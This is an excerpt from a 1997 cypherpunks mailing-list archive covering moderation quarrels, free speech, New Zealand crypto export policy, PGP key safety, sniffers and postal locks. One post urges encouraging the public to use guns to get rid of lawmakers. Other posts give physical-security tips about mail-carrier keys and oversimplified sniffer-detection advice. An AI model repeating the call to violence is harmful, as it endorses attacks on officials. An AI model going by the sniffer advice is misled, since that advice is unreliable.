> but the rise of a cliquish sheep-mentality and the resulting dismissal
> of the opinions of people of Reason (and the opinions of 'anyone', in
> general, whom 'I' perceive as being on the 'other side' of an issue).
> ........................................................................
 
> Who are these sheep you're talking about?   At the end of the trial period,
> anyone still on the list who doesn't like the moderation can at their
> leisure either protest vehemently its continuation, producing masterly
> works of eloquence in favor of continuing the free-for-all, or they can
> unsubscribe (sp?).

  I am not speaking of the sheep-mentality in regard to moderation or
any other single issue on the list. I am speaking of the tendency of
many list-members to fall into common ruts of thought wherein the
comments and opinions of others are auto-files as this-or-that,
and interpreted in that light, no matter what the actual content
of their messages.
 I told Attila the Hun, in private email, that when I opened his
messages, that I never knew whether to "pucker-up or duck", because
he was just as likely to chastise me as agree with me, depending
on his personal opinion of an individual post of mine.
 I regard Igor and yourself, and a number of others, in the same 
light. I'm reluctant to bend over and drop my pants, waiting for
you to kiss my butt, because I realize that I am just as likely 
to feel the sting of your toe-nailed boots instead of soft lips.

> I think what threatens the list is the absence of really major issues to
> fire up everyone's sense of indignation & imagination, 

  But, under the New List Order, any strong opinion risks being
thrown in the crapper as a 'flame'.

>plus the fact that
> many of the long-timers are pretty sophisticated on all the political
> issues which have been discussed before (how many of Tim May's long
> treatises, engaging, thorough, and relevant as they may be, can one read
> yet again without recognizing the repetitive themes therein),

 Yes, but there are always members to whom these treatises and
orientation
of thought are 'new', and people only notice the repetiveness when they
are, indeed, following these posts, which means that they must be 
getting some value out of them.

> plus a lack
> of interest in engaging in rhetorical arguments with people who find it
> difficult to think in a straight line.

 I, too, agree that you can lead a horse to water, but a stitch in time
saves nine.

>  Sometimes the posts on the list
> come to resemble more attempts at educating the clueless than discussions
> among peers which could truly advance an understanding of between fine
> points of difference.

  Some of the more rambling threads are indeed the result of not
understanding that some of the clueless aren't seeking a clue, but
merely to hold on to their ignorance. But I would rather err on 
the side of believing that the person I am replying to is sincere
in wanting to discuss an issue in order to gain a broader 
understanding of it.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: blanc <blancw@cnw.com>
Date: Sun, 2 Feb 1997 02:27:39 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: Cyphernomicon by Tim May
Message-ID: <199702021027.CAA16906@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	Toto

  I am not speaking of the sheep-mentality in regard to moderation or
any other single issue on the list. I am speaking of the tendency of
many list-members to fall into common ruts of thought wherein the
comments and opinions of others are auto-files as this-or-that,
and interpreted in that light, no matter what the actual content
of their messages.
................................................

Hm, well, what's an anarchist to do about other people's psychological 
makeup?

=

 I regard Igor and yourself, and a number of others, in the same
light. I'm reluctant to bend over and drop my pants, waiting for
you to kiss my butt, because I realize that I am just as likely
to feel the sting of your toe-nailed boots instead of soft lips.
..........................................

Hm, well, I'm not in the custom of doing either of those things, but thanks 
for the compliment!

=

  But, under the New List Order, any strong opinion risks being
thrown in the crapper as a 'flame'.
...............................................

Not that I'm condoning centralized management, but I bet I could flame 
anyone pretty good yet by-pass the moderator.  It's all in the style, you 
know.   Some people are very delicate about what offends them - I know I 
could get on some particular people's nerves any day without trying.   An 
opportunist can take advantage of another's infirmity by being perfectly 
polite while yet excruciatingly annoying.
=

 Yes, but there are always members to whom these treatises and orientation 
of thought are 'new', and people only notice the repetiveness when they 
are, indeed, following these posts, which means that they must be getting 
some value out of them.
............................................

Oh, I wasn't condemning Tim's posts as being repetitive and boring - it's 
commendable that he would write about the same ideas in fresh new ways, for 
the benefit of the newbies and the entertainment of the oldies.

But not everyone is as interested & willing (or have the time) to 
re-iterate this way, and  with only one or a few "holding up the ship", so 
to speak, it leaves a lot of room for wayless bickering degenerating into 
unproductive ad hominems - ad absurdum, ad nauseam.

You, know, Toto, I heard that there's a vacancy in the Cypherpunk Division 
of History & Philosophy ....

    ..
Blanc







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 2 Feb 1997 02:15:01 -0800 (PST)
To: "Attila T. Hun" <attila@primenet.com>
Subject: Flaming Moderators
Message-ID: <199702021015.CAA16608@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Attila T. Hun wrote:
 
>         "Let us remember that 'if we suffer tamely a lawless attack
>         upon our liberty, we encourage it, and involve others in our
>         doom.'
>             --Samuel Adams ("patriot, statesman..."), speech, 1771

  Looks like Sam needs to be autobotted to the 'flames' list.

Toto







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Sun, 2 Feb 1997 02:17:03 -0800 (PST)
To: cypherpunks <gbroiles@netbox.com>
Subject: Re: Libel, Times v. Sullivan
Message-ID: <199702021017.CAA16668@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

on or about 970201:1452, Greg Broiles <gbroiles@netbox.com> said:

+Since we've now got Jim Bell arguing that it's obvious that a free and
+open society must tolerate anything which might be defamatory, and Jim
+Choate arguing that it's obvious that a free and open society cannot
+tolerate anything which might be defamatory,  ...

    for what it is worth, anti-defamation, Germany's anti-Holocaust 
    denial, and anti- just about anything legislation dealing with free 
    speech is of and by its very nature an abridgement of your personal 
    freedoms. If you deny one form of speech, it is easy to deny 
    another, and then another...  do you wish to march foolishly to 
    Fahrenheit 451?

    Before the current generation of government vipers and revisionists 
    remove or rewrite even more of the immortal words of history:

        "Those who deny freedom to others 
          deserve it not for themselves."
                --Abraham Lincoln

    let's look at one more famous speech on "nibbling" your rights: 

        "Let us contemplate our forefathers, and posterity, and resolve 
        to maintain the rights bequeathed to us from the former, for 
        the sake of the latter.  
  
        "Let us remember that 'if we suffer tamely a lawless attack 
        upon our liberty, we encourage it, and involve others in our 
        doom.'  It is a very serious consideration that millions yet 
        unborn may be the miserable sharers of the event."
            --Samuel Adams ("patriot, statesman..."), speech, 1771

    and:

        "The more difficult it is to interact with the government, 
        the more the government wants gun control."
            --attila

    in other words, the more they deny our inaliable right to free 
    speech, the more they need gun control before we rise against the
    usurpers of our rights.

    Now, if there ever was a liberal do-gooder, Eleanor certainly was:

        "No one can make you feel inferior without your consent." 
            --Eleanor Roosevelt

    now, does she mean what she says literally?  in other words, is
    she saying to say what you want, and she will not be harmed or 
    "feel inferior" in this case?  I can presume Eleanor could be
    offended, but is that sufficient to abridge your rights?

    Nietzsche expresses a defiant tone on first glance -no, the general 
    interpretation is absolute freedom --speech included.

        "I understand by 'freedom of Spirit' something quite definite -
            the unconditional will to say No, 
            where it is dangerous to say No."
                --Friedrich Nietzsche

    Is not the right to bear arms the same basic freedom as free 
    speech, with one limitation: improper use carries criminal 
    penalties --basically, because the act denies another his freedom.

        "The right of self-defense is the first law of nature 
        ...and when the right of the people to keep and bear arms 
        is, under any color or pretext whatsoever, prohibited, 
        liberty, if not already annihilated, 
        is on the brink of destruction."
            --St. George Tucker, 
                in his edition of Blackstone's Commentaries

    did not the Magna Carta guarantee the right of free speech?  Of 
    course, there was not full suffrage at that time, but the Magna
    Carta is the basis of our common law.

    Then, let's look at another concept of freedom and a "democracy" 

        Just because a mob calls itself a government, doesn't make it     
          so.
        Democracy is two wolves and a sheep voting on what to have for 
          dinner.
        People who claim that money doesn't matter, are usually living 
          on someone else's money.
        Society is a mental construct, formed by those people who are 
          too insecure to handle the concept of people as individuals.

    which gets down to just what the hell did my forefathers, and maybe 
    yours, fight for in 1776 if it was not for freedom of speech and 
    assembly, the right to bear arms, to be free from unreasonable 
    search and seizure; and enjoy the protection of law? 

    if we do not pick up that fight and stop corrupt governments from 
    usurping the power of the people, we will lose all freedom. If we 
    give in on _any_ of the first 10 amendments, our Bill of Rights, we 
    are surrendering our deserved personal franchise to a usurping 
    government.  and it starts with society and government trying to 
    tell us what we can freely say. 

    I may not like what you have to say, or that you insult my 
    sensibilities or my rectitude, but I will defend your right to my 
    death so that you may do so.

    Therefore:
     
        "With heart and hand I pledge you while I load my gun again, 
        you will never be forgotten or the enemy forgiven, 
        my good comrade..."
            --Anton Szandor LaVay

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Version: 2.6.3i
Charset: latin1
Comment: Encrypted with 2.6.3i. Requires 2.6 or later.

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OVc5yWkG+UJzcVhtRFyu5O4nhSkgzhjbiGxYUWM1ZNZwaIDehFmieCv8GG/c+Cal
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Larry Johnson <lwjohnson@grill.sk.ca>
Date: Sun, 2 Feb 1997 02:25:54 -0800 (PST)
To: cypherpunks@toad.com
Subject: PGP 2.1
Message-ID: <199702021025.CAA16822@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Hello,
Can any;one tell me how to get a version of PGP 2.1?
Thanks





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 2 Feb 1997 07:14:10 -0800 (PST)
To: blanc <blancw@cnw.com>
Subject: Re: Cyphernomicon by Tim May
Message-ID: <199702021514.HAA24774@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


blanc wrote:
> From:   Toto
> Hm, well, what's an anarchist to do about other people's psychological
> makeup?

  Hold up a mirror. 

> Not that I'm condoning centralized management, but I bet I could flame
> anyone pretty good yet by-pass the moderator.  It's all in the style, you
> know.   Some people are very delicate about what offends them - I know I
> could get on some particular people's nerves any day without trying.   An
> opportunist can take advantage of another's infirmity by being perfectly
> polite while yet excruciatingly annoying.

  What constitutes a 'flame' seems to depend heavily on whose mouth it
comes out of. Jim Choate called me a schizophrenic, and it seemed to
be acceptable enough to make the censored list. He tends to call 
people "Bessie", basically saying they are a Cow, and that also
seems acceptable.
  Personally, I could care less when people want to play footsie-games
with flaming, but I think it points out the ludicrousness of having
a moderator limiting people to 'childish' insults.
  I prefer someone screaming at me what a cocksucker I am.

 Ray Hettinga forwards these long, literate missives advertising
this-or-that million dollar a plate conferences, but when he chose
to insult me with his own words, the result was an immature 
blathering which showed questionable literary skills.

> Oh, I wasn't condemning Tim's posts as being repetitive and boring - it's
> commendable that he would write about the same ideas in fresh new ways, for
> the benefit of the newbies and the entertainment of the oldies.
 
> But not everyone is as interested & willing (or have the time) to
> re-iterate this way, and  with only one or a few "holding up the ship", so
> to speak, it leaves a lot of room for wayless bickering degenerating into
> unproductive ad hominems - ad absurdum, ad nauseam.

  There are some good socio/politico posts by a variety of list members
who are highly knowlegeable about a range of topics surrounding crypto,
but they tend to come sporadically.
  I suppose that this is because they actually have real lives.

> You, know, Toto, I heard that there's a vacancy in the Cypherpunk Division
> of History & Philosophy ....

  I suppose that Sandy might nominate me, just for the pleasure of 
sitting back and enjoying the flood of, "A Vote of FUCK OFF for Toto"
postings.
  It would be nice, however, to try to twist the rest of the list
around to my own world-view. It gets lonely here in the 'rubber room'
at the Home, and I could use some company.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: blanc <blancw@cnw.com>
Date: Sun, 2 Feb 1997 07:12:28 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: Libel, Times v. Sullivan
Message-ID: <199702021512.HAA24745@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	Attila T. Hun, member of the Early Bird Consortium of Stray Cats, 
quoting from the Pages of History:

    did not the Magna Carta guarantee the right of free speech?  Of
    course, there was not full suffrage at that time, but the Magna
    Carta is the basis of our common law.
		[and...]
    which gets down to just what the hell did my forefathers, and maybe
    yours, fight for in 1776 if it was not for freedom of speech and
    assembly, the right to bear arms, to be free from unreasonable
    search and seizure; and enjoy the protection of law?
................................................

Yes, if the Magna Carta guaranteed a right and the forefathers fought to 
secure it, why should any of us ever have to lift a finger in our own 
defense.

My contribution to this thread from the Cpunk History & Philosophy 
Division:   a Jewish saying from a book I glanced through of couple of 
weeks ago, something like:

	"What good is it to a man who has lost his sight
	  that his ancestors had perfect vision."

    ..
Blanc








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rob <wlkngowl@unix.asb.com>
Date: Sun, 2 Feb 1997 02:13:26 -0800 (PST)
To: "Z.B." <zachb@netcom.com>
Subject: Re: Key Security Question
Message-ID: <199702021013.CAA16583@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On 31 Jan 1997 15:37:01 -0500, you wrote:

>My computer went into the shop a few days ago, and I was unable to take 
>my PGP keys off it before it went in.  What are the security risks here?  
>If the repairman chooses to snoop through the files, what would he be 
>able to do with my key pair?  Will I need to revoke the key and make a 
>new one, or will I be relatively safe since he doesn't have my 
>passphrase?  

Depends how paranoid you are, how  good your passphrase is, how much you
trust the repairman not to snoop, etc.

For the hell of it I'd revoke my key and issue a new one though. It's
not a minor inconvenience, and when people use your old key you can still
decrypt the message... just send 'em a note that you prefer they use you're
current (unrevoked) key.

--Rob







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pgut001@cs.auckland.ac.nz
Date: Sat, 1 Feb 1997 09:40:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: Crypto in New Zealand - an update
Message-ID: <199702011740.JAA21968@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


This is a continuation of the article I posted here a few weeks ago.  You can
find the whole thing at http://jya.com/nsazeal.htm.
 
Peter.
 
-- Snip --
 
On the 17th January significant parts of this story appeared on the front page
of the National Business Review (NBR), a fairly influential paper read by
(apparently) half the NZ business world.  The GCSB declined to comment on
anything except to acknowledge that there had been a meeting between a GCSB
person and the manager of Orion Systems.  The story also confirms (from talking
to some of the people involved) the GCSB - MFAT and GCSB - DSD connections.
 
The following week Andrew Mayo wrote a letter to the editor of the NBR
containing an eloquent defense of the use of encryption to protect personal
privacy.  MFAT replied to say that they were only following orders, and were
required by the Wassenaar agreement to restrict crypto exports:
 
  "Export permits normally were required only if the encryption was 40-bit or
   stronger, so most commercial encryption would not be affected".
 
I wonder where the 40-bit limit suddenly came from?  Note also the phrasing
"40-bit or stronger".  This means that anything including 40 bits is
restricted.  If they're going to try to blindly parrot US policy then they
should at least get their facts straight.
 
A few days later I found someone who knew what to ask for in order to get a
copy of the NZ export regulations.  I called MFAT and talked to a gentleman by
the name of John Borrie, who had recently taken over responsibility for this
affair from someone else who, to put it mildly, had been annoying to deal with.
I suggested to him that the GCSB were feeding him just the information they
wanted him to know and no more, and that perhaps he should avail himself of
alternate sources of advice.  He didn't see it quite that way.
 
The export regulations are identical to the Australian regulations, even down
to the layout style.  A few of the fonts differ, but that may be due to
different systems/printers/whatever.  There are several obvious holes in these
regulations, but I won't mention them now because they'll probably be used in
court fairly soon.
 
The following week the story was again on the front page of the NBR.  This time
the story covered the financial difficulties that Cyphercom had been plunged
into.  Because MFAT had stopped them from having any access to their product
for nine months, the company was considering filing for bankruptcy.  MFAT
spokesperson Caroline Forsyth commented:
 
  "US controls on the export of strategic goods are at least as strict as those
   of New Zealand... an export permit would normally only be required for
   encryption if it was 40-bit or stronger.  Most commercial encryption is well
   below 40-bit strength.  Almost all New Zealand exporters of software are
   unaffected".
 
The confused and nonsensical nature of these statements presents a scary
picture.  MFAT are a government department who (in this area) have no idea what
they're doing, but don't know that they have no idea.  Combined with the
sterling advice they seem to be getting from the GCSB, this could make them a
tough nut to crack.
 
In anticipation of what MFAT would say, I wrote a letter to the NBR editor
(which won the "Letter of the Week" award :-) which refuted their claims.  The
letter ended with:
 
  It appears that MFAT's position is based on an antiquated outlook which
  regards software to secure electronic commerce as some form of special
  military technology, a position which might have been reasonable a few
  decades ago but is totally out of touch with the modern use of computers and
  electronic communications.  In their October 1996 "Business File", MFAT claim
  that "New Zealand... is helping to limit the spread of increasingly
  sophisticated military technology and weapons of mass destruction".  Whether
  mass-market commercial software which protects financial transactions and
  medical records counts as "sophisticated military technology" or "weapons of
  mass destruction" is unclear (I suppose it's possible to beat someone to
  death with a floppy disk if you were very determined, but that hardly
  qualifies as "mass destruction").
 
  Finally, one of the goals of the Wassenaar agreement was to "not impede bona
  fide civil transactions", which MFAT have certainly done, and are continuing
  to do.  In the meantime anyone with a credit card and phone, or the ability
  to walk into a software store, can buy the same software overseas.  Stopping
  New Zealand companies from exporting widely available mass-market computer
  software of this kind "because terrorists might use it" makes about as much
  sense as stopping farmers from exporting beef and lamb "because terrorists
  might eat it".
 
  The issue of Management Technology Briefing included with last weeks NBR
  reports on page 22 that there will be "a US$186 billion market in global
  transactions by the year 2000", along with a comment that securing these
  transactions - one of the goals cryptlib was designed for - remains a problem
  area.  Within the next few years the push towards electronic commerce will
  become a veritable steamroller.  By needlessly blocking the export of the
  technology required to secure this market, MFAT is helping ensure that New
  Zealand becomes part of the roadkill.
 
MFAT's parting shot was:
 
  "People trying to export encryption without clearance can be prosecuted under
   the Customs and Excise Act".
 
I should certainly hope so!  It's going to be difficult creating a test case to
get this nonsense thrown out if they refuse to prosecute me.
 
Stay tuned, this is going to get entertaining...
 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rob <wlkngowl@unix.asb.com>
Date: Sun, 2 Feb 1997 02:11:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: NOISE.SYS Home Page
Message-ID: <199702021011.CAA16500@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




I now have an under-construction home page for NOISE.SYS, in case
you're interested:

  http://www.asb.com/usr/wlkngowl/software.htm#noise

(NOISE.SYS is a crypto-RNG device for DOS boxes.)

Rob


-----
"The word to kill ain't dirty     | Robert Rothenburg (WlkngOwl@unix.asb.com)
 I used it in the last line       | http://www.asb.com/usr/wlkngowl/
 but use a short word for lovin'  | Se habla PGP:  Reply with the subject
 and dad you wind up doin' time." | 'send pgp-key' for my public key.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Sun, 2 Feb 1997 07:10:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: IRS Can't Compete
Message-ID: <199702021510.HAA24723@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Note proof that government agencies are running up against serious problems
competing with market actors even though they have the guns.  

- From today's NYT:
February 1, 1997
Leaders of I.R.S. Panel Urge Sweeping Overhaul of Agency

By DAVID CAY JOHNSTON

The IRS had publicly defended its management of computer modernization until Thursday, when Arthur A. Gross, who was hired last year as an assistant commissioner of the agency to rescue the effort, told the restructuring commission that the new systems being developed "do not work in the real world."

Gross also said the IRS lacked the "intellectual capital" to modernize.

["intellectual capital" = brains]

Kerrey said that although the modernization project was bigger than any corporate computer system the government would have a hard time hiring the necessary talent to manage the project. "The market is bidding up the price for people who have these skills, and we just can't dole out big salaries," he said.

Executives who oversee information systems make as much as $378,000 in salary and bonuses, according to William M. Mercer, the nation's largest pay consulting firm. That is more than twice the highest federal salary and bonus, and corporate information executives typically also get options and other incentive payments.

******************

Translation - since the Feds can't afford to pay CIOs what they're worth, and
governments don't offer stock options, they can't get the talent they need
to keep up with the market.  We are talking about senior management here.
If they try and respond by contracting senior management out, eventually the
institution disappears as a government institution.  

DCF
-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBMvSCgYVO4r4sgSPhAQHhYAP+N80RhT0efc2seO+P99WLVYMJ8/1Q1R7e
CkLY8guJw2PnuQlaGG3lj14mYvTPMitZFsQ4pFnkSzzyF57QN4nXPbXajkNeWao+
Kcr2T3TJa5gZcGv309/I7FbZp2MfaugEjyNoielY12q9qsyuJyCv1l4Uh1L/tq9c
wEKoLyMoh5U=
=orfk
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Mon, 3 Feb 1997 11:57:30 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Key Security Question
Message-ID: <199702031957.LAA00537@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



> > > On the other hand, if the "repairman" replaced your pgp executable
> > > with version 2.6.3kgb, which uses your hashed passphrase as the
> > > session key, you're hosed.  Or if he installed a keystroke sniffer,
> > > or added a small radio transmitter to your keyboard, or whatever.
> > > Depends on your threat model.  If you need to be paranoid,
> > > they've already gotten you....
> > 
> > If you're really paranoid, you can boot from a clean floppy and
> > reinstall everything from your backup tapes. You do have a
> > contingency plan in case your hard disk goes bad, or gets a
> > virus, don't you? Well, if you're in doubt, exercise it.

Face it, the only solution is to wrap your computer, cat, family, car 
and yourself in aluminium foil and burn your hard disk whilst 
chanting "yamma yamma yamma yaaaaamaa"


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Sun, 2 Feb 1997 07:55:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Key Security Question
Message-ID: <199702021555.HAA25423@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com (Igor Chudov @ home) writes:

> Dr.Dimitri Vulis KOTM wrote:
> > Bill Stewart <stewarts@ix.netcom.com> writes:
> > > On the other hand, if the "repairman" replaced your pgp executable
> > > with version 2.6.3kgb, which uses your hashed passphrase as the
> > > session key, you're hosed.  Or if he installed a keystroke sniffer,
> > > or added a small radio transmitter to your keyboard, or whatever.
> > > Depends on your threat model.  If you need to be paranoid,
> > > they've already gotten you....
> >
> > If you're really paranoid, you can boot from a clean floppy and
> > reinstall everything from your backup tapes. You do have a
> > contingency plan in case your hard disk goes bad, or gets a
> > virus, don't you? Well, if you're in doubt, exercise it.
>
> And what if the repairman replaces BIOS ROM chips with KGBios?

On some computers it's possible to add executable code to the boot
sequence without replacing the actual ROM chip because they're
rewritiable. Examples: most Sun boxes; intel motherboards with
'flash bios'.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Z.B." <zachb@netcom.com>
Date: Sun, 2 Feb 1997 10:25:44 -0800 (PST)
To: Scott <scott-b@ix.netcom.com>
Subject: Re: Keystroke sniffer question
Message-ID: <199702021825.KAA28058@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 1 Feb 1997, Scott wrote:

> How can you detect if there is a keystroke sniffer on your computer.
> 
All sniffers have to write to disk at some point.  You can detect one by 
checking to see how much disk space you have (DIR on MSDOS), typing a few 
lines of random characters, and check your disk space again.  If it's 
gone down a little, then you probably have one.

> Is there a file name to look for?

Try checking in your TEMP directory...the few ones that I've seen default 
to creating an invisible file in that directory.
 
> Where do people get them?

They either buy them or write them.




Zach Babayco 

zachb@netcom.com <-------finger for PGP public key

If you need to know how to set up a mail filter or defend against 
emailbombs, send me a message with the words "get helpfile" (without the 
" marks) in the SUBJECT: header, *NOT THE BODY OF THE MESSAGE!*  I have 
several useful FAQs and documents available.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Cynthia H. Brown" <cynthb@homer.sonetis.com>
Date: Sun, 2 Feb 1997 07:55:48 -0800 (PST)
To: harka@nycmetro.com
Subject: Re: Trigger-Words...
Message-ID: <199702021555.HAA25437@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Wed, 29 Jan 1997, harka@nycmetro.com queried:

> Actually, I might not have chosen the correct words for what I
> wanted...
> I am looking for sniffer-programs, that analyze e-mail traffic on
> the Net and filtering out all e-mails potentially interesting for
> _intelligence services_. For example, I've heard, that if an e-mail
> contains the words: "assassinate President" (DISCLAIMER: I hope, our
> President lives a long and happy life, even after his
> impeachment...:)), it will automatically get filtered and checked
> out by the Secret Service.
> Different intelligence agencies might have similar things in place.
> Where could I get some more information about that?

Many Un*xes (SunOS, Solaris, IRIX, Linux, and probably others) have
included their own versions of sniffers, supposedly for network
debugging. These are typically called something like "tcpdump",
"etherfind", "snoop", etc.

You would need to run a sniffer at a "choke point" of an
organisation, for example the external router to the Internet, to
capture all of the packets to / from that organisation.  Putting a
sniffer on some arbitrary router out there in cloud-land would
probably not be all that productive, since there's no guarantee that
all of the IP packets carrying a given TCP connection would take the
same route. 

Cynthia

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3ia
Charset: cp850

iQCVAwUBMvSyq5Og7xGCJGQtAQFJPwQAiXbxtfdfVEDL5ZHdktdy6bfH/Wmio3oU
J1bYKpfwY4H4NnIoXipGF+oo48Pe4j8x46UneVZ8d4ZsSy93/JsvmQw38TxSj/8o
cPbtIaagBw9eofsdimzlwx9Y0VvaTRWt+2Cjd8aQKmG5nwUBSF9BlFoX2/TU3QZY
IP+hiecLaag=
=rHlB
-----END PGP SIGNATURE-----
===============================================================
Cynthia H. Brown
Ottawa, Ontario, Canada
E-mail:     cynthb@sonetis.com
Home Page:  http://www.sonetis.com/~cynthb/
PGP Key:    See Home Page

Junk mail will be ignored in the order in which it is received.

  It is morally as bad not to care whether a thing
  is true or not, so long as it makes you feel
  good, as it is not to care how you got your money
  as long as you have got it.

        - Edmund Way Teale, "Circle of the Seasons"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Roy M. Silvernail" <roy@sendai.scytale.com>
Date: Sun, 2 Feb 1997 22:12:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "Secret" Postal Device stolen
Message-ID: <199702030612.WAA14298@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In list.cypherpunks, toto@sk.sympatico.ca writes:

>> >>>Postal Service offers $25,000 reward for stolen . . . something

>   Mail carriers in some areas carry keys for buildings with security
> doors (sometimes Master keys).

In Minneapolis and Anchorage (the two cities of which I have knowledge)
mail carriers have a key that opens not only apartment-style mailboxes,
but little boxes on the outside of apartment buildings that hold a key
to the building's lobby.  Snag one of those keys and a large portion of
the city opens its doors to you.  (some buildings have further locked
doors beyond the mailbox lobby to counter this threat)
- -- 
           Roy M. Silvernail     [ ]     roy@scytale.com
DNRC Minister Plenipotentiary of All Things Confusing, Software Division
PGP Public Key fingerprint =  31 86 EC B9 DB 76 A7 54  13 0B 6A 6B CC 09 18 B6
      Key available from pubkey@scytale.com, which works now

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMvTEUxvikii9febJAQEMEwP+Ji/B1z7uYSJspTij6xH2jUn/JMXmJ7RF
drUZruHZNxQv3xGHOPbf4nerDqANgYe/6DzZdrNRhP5RgYTPZp4K1gHDRLhyKAZL
EriifeqlXe9X69EDCXSJr8nVSEP1XlSoI2cc9nMFyG42Mwg0Do52WdvhBbZtiM8I
zKo9v+3VOqg=
=O4dL
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@holy.cow.net>
Date: Sun, 2 Feb 1997 08:55:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199702021655.IAA26447@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Someone using the Huge Cajones mailer wrote:

   David Lesher <wb8foz@nrk.com> writes:

   > USPS uses key locks seemingly designed by Ben Franklin himself.
   > Look at them someday. FedEx boxes used to have Simplex 926
   > 5 pushbutton ""locks"" if you stretch the point.

Still did last I checked.

   Don't let the old-fashioned look deceive you.  Most mail storage boxes
   use lever tumbler locks (similar to what's used in safe deposit
   vaults, though obviously the mailbox locks have a flimsier plug).

How is that obvious?  Safe deposit locks generally aren't designed to
be hard to open, just hard to open without damage.  There's always
either a guard or a locked vault door protecting the locks.
Mailboxes, on the other hand, generally aren't kept under guard or in
vaults.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sun, 2 Feb 1997 14:25:44 -0800 (PST)
To: Black Unicorn <unicorn@schloss.li>
Subject: Re: If guilty of a lesser crime, you can be sentenced for a greater
Message-ID: <199702022225.OAA03364@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:56 AM 2/2/97 -0500, Black Unicorn wrote:

>Please note that the difference between:
>
>"But he got the same sentence as he would have if he was convicted of 
>carrying a gun in furtherance of the crime."
>
>and
>
>"But he got the same sentence as he would have is he was not convicted of
>carrying a gun in furtherance of the crime."
>
>is subtle at best.
>
>Next time don't get caught stealing with a gun nearby.


Better yet, set up a system to encourage the public to USE those guns (and 
other weapons) to get rid of the people who pass such laws, and the problem 
is solved.


Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Henderson <mch@squirrel.com>
Date: Sun, 2 Feb 1997 14:25:46 -0800 (PST)
To: Larry Johnson <lwjohnson@grill.sk.ca>
Subject: Re: PGP 2.1
Message-ID: <199702022225.OAA03367@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Larry Johnson writes:
> Hello,
> Can any;one tell me how to get a version of PGP 2.1?
> Thanks
> 

If you are a U.S./Canadian person in the U.S. or Canada you can get 2.1
and most of the release versions of PGP from 
ftp://ftp.wimsey.com/pub/crypto

Easiest thing is to point your web browser to 
ftp://ftp.wimsey.bc.ca/pub/crypto/software/README.html

Then after reading and agreeing to the conditions, click in the
appropriate place and descend into the PGP directory.

But, why do you want version 2.1?

-- 
Mark Henderson -- mch@squirrel.com, henderso@netcom.com, markh@wimsey.bc.ca
PGP key 1024/B2667EFF - 5A 93 7D 29 EB 63 84 09  EA A2 AA 6C FA C5 A6 21
unstrip for Solaris, Wimsey crypto archive, TECO, computer security links,
change-sun-hostid, Sun NVRAM/hostid FAQ - http://www.squirrel.com/squirrel/

--w=NZbzo6Zc1UmsEa
